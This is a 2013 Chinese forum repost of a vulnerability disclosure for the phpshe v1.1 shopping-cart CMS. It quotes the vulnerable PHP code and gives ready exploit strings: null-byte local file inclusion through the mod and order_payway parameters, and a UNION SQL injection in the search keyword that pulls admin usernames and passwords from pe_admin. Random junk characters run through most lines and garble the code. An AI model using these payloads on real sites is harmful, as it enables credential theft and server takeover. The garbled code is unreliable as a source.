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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/' R+ a2 W2 H6 J: e
/* Phpshe v1.1 Vulnerability" u  ~: C$ [5 K5 b+ W
/* ========================
: n& ]' p4 |* V3 \/* By: : Kn1f30 q. N3 W& I3 _8 y* ~6 b7 w
/* E-Mail : 681796@qq.com
- R1 K( M" f, K+ u0 S+ h/*******************************************************/; V% D( h$ Q) ]; a& f8 J  J- M- C
0×00 整体大概参数传输
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//common.php
& ?0 m& }8 T0 v% U5 qif (get_magic_quotes_gpc()) {
" O) @- v5 a2 ~# y0 u  a5 ?; l: o!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');0 x2 b* i$ q' Z" b* O' \
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');  q- x! x3 `% u5 l$ Y# z
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else {/ p0 F9 `, C" D( h% d
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');4 {; |( `  \% N$ W+ g7 M3 _
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');( V8 G5 p: G3 v
}
8 h! ]! q( y: g* bsession_start();5 H7 C2 [/ Y0 U6 [1 O
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
5 v6 J3 j  B2 p2 u!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');! b- p1 Z$ n) [3 ?
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0×01 包含漏洞1 f/ w+ W# s# L% K! i0 @

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//首页文件/ Y# Z, l7 m+ Y7 h
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 |- c# X! I5 j+ q/ tinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
  L8 E& j% [8 w! v* D. o( h; Kpe_result();, }& H% T# U. Z: l% m7 |  v
?>
) _* G1 w4 v1 m4 {7 s//common 文件 第15行开始
0 v  N1 n' k0 jurl路由配置: l: z; q! b7 w/ Q- ?
$module = $mod = $act = 'index';
" v- W% r! y* c) y- H: k$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 o7 R1 q3 E4 h7 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);" [' {* U0 w4 j
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);7 q* _9 n, j- [# j! S2 C. J" q+ F
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
# s3 Z, ]+ e! l- S& ~+ M$ K


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- s, O# b' Q. x: n7 y" l 0×02 搜索注入$ U8 S9 J% S. X2 ~) s# ~
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<code id="code2">

//product.php文件
/ a4 N- f* x- u. h& L# Lcase 'list':
: V) \/ m  W7 C! [- y$category_id = intval($id);
- h, r; n, T  n, G$info = $db->pe_select('category', array('category_id'=>$category_id));
. ~' `6 {( Q  M; M5 G8 r8 j//搜索
2 p- f& B$ S) h. i3 A% X% {: ^$sqlwhere = " and `product_state` = 1";7 m9 t. ?3 A+ y8 i) X
pe_lead('hook/category.hook.php');6 b2 l! Y' \. ]( x; o( X, n
if ($category_id) {
2 @6 \/ w* i( d6 K  y# Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";+ C. _  S! ?4 J3 k' p& M1 R' A
}
; Z* c+ Q6 q2 V$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
+ T; h; [% z; ]% c, z$ U) qif ($_g_orderby) {$ K% j8 p! M- Z, P
$orderby = explode('_', $_g_orderby);1 U) E- s1 ~/ E5 w; I
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";+ ]' C8 c, h- J6 F& R
}
' l: g0 {: O; q5 X( Jelse {' U+ S  z+ J* r" m0 @
$sqlwhere .= " order by `product_id` desc";, ^5 F" h! F2 l( B4 k* ]
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$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));' P3 m& E, j/ f3 Z
//热卖排行6 R1 p0 [7 \. o! I. b7 F; S) B: D$ b
$product_hotlist = product_hotlist();' {( o; D. u/ _9 E
//当前路径& }* d2 \% k7 N; f9 _6 ]. j
$nowpath = category_path($category_id);
2 [* q# s- h( L% v, u+ d" T$seo = pe_seo($info['category_name']);
/ v, H& W# J8 l. \include(pe_tpl('product_list.html'));
0 g0 p' J, ^: ?- I+ C//跟进selectall函数库
7 Y9 k1 t% H6 H( y5 r/ ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())* ^3 v1 u4 V- m0 M  X2 a
{
! I# l  M( V% P  z. D//处理条件语句# F& D9 }. w. ^
$sqlwhere = $this->_dowhere($where);
: K+ F4 W* P6 Y/ ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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//exp0 b4 O5 K6 f& h# c$ o. T+ Y9 v
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2
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" B1 E& J2 [. j<code id="code3">

//order.php

case 'pay':

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$order_id = pe_dbhold($_g_id);

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$cache_payway = cache::get('payway');


$ x1 J& M- S5 H: M' C  i1 fforeach($cache_payway as $k => $v) {


) u4 A' z8 A! r7 s- P$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


; C" V5 }; ?6 n9 B5 i/ K! cif ($k == 'bank') {

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$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


, J3 v. d% l% m: T! j}


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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

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!$order['order_id'] && pe_error('订单号错误...');


8 O* b! E8 P, r" \5 u( tif (isset($_p_pesubmit)) {

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if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

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$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


6 e2 m$ Z1 s8 x  Y2 ~# m$ m1 hforeach ($info_list as $v) {

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$order['order_name'] .= "{$v['product_name']};";
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0 A3 }! t# i! @8 ?, `6 Z}


% U4 ~1 X) z" l/ d" hecho '正在为您连接支付网站，请稍后...';


* L5 H4 ^2 c# c9 c# P: T* `. Jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

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}//当一切准备好的时候就可以进行"鸡肋包含了"

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else {

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pe_error('支付错误...');


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4 t& L2 }$ R0 d& l5 t$seo = pe_seo('选择支付方式');

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include(pe_tpl('order_pay.html'));


, u- P8 a3 z" _7 _2 g( b3 v( Pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>4 c7 H1 X! U$ m* [; q! w4 O8 J
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



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